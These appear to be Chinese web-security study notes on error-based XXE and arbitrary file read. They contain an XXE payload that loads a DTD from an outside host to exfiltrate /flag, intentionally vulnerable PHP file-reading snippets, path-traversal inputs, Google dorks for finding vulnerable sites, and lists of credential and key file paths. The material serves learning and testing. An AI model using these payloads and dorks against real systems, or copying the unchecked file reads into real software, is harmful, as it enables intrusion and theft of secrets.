基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

通过引入服务器文件
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

1
2
3
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;

任意文件读取

漏洞利用条件
存在读文件的函数:
fopen() 函数:

1
2
3
4
5
$file = $_GET['file']; // 用户提供的文件路径
$fp = fopen($file, 'r'); // 打开文件
$data = fread($fp, filesize($file)); // 读取文件内容
fclose($fp); // 关闭文件
echo $data; // 输出文件内容

fread() 函数:

1
2
3
4
5
$file = $_GET['file']; // 用户提供的文件路径
$fp = fopen($file, 'r'); // 打开文件
$data = fread($fp, 1024); // 读取文件前 1024 字节的内容
fclose($fp); // 关闭文件
echo $data; // 输出文件内容

include() 函数:

1
2
$file = $_GET['file']; // 用户提供的文件路径
include($file); // 包含文件并输出内容

readfile() 函数:

1
2
$file = $_GET['file']; // 用户提供的文件路径
readfile($file); // 读取并输出文件内容

file_get_contents() 函数:

1
2
3
$file = $_GET['file']; // 用户提供的文件路径
$data = file_get_contents($file); // 读取文件内容
echo $data; // 输出文件内容

file() 函数:

1
2
3
$file = $_GET['file']; // 用户提供的文件路径
$data = file($file); // 将文件读入数组中
echo implode('', $data); // 输出文件内容

读取文件的路径用户可控且未校验或校验不严
输出了文件内容
漏洞类型:
index.php?f=../../../../../../etc/passwd

index.php?f=../index.php

index.php?f=file:///etc/passwd
当参数 f 的参数值为php文件时,
若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞。

漏洞挖掘:
可以用Google hacking或Web漏洞扫描器

Google search利用:

1
2
3
4
5
inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="

常见的敏感信息路径:

Windows系统:

1
2
3
4
5
6
7
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

Linux系统:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数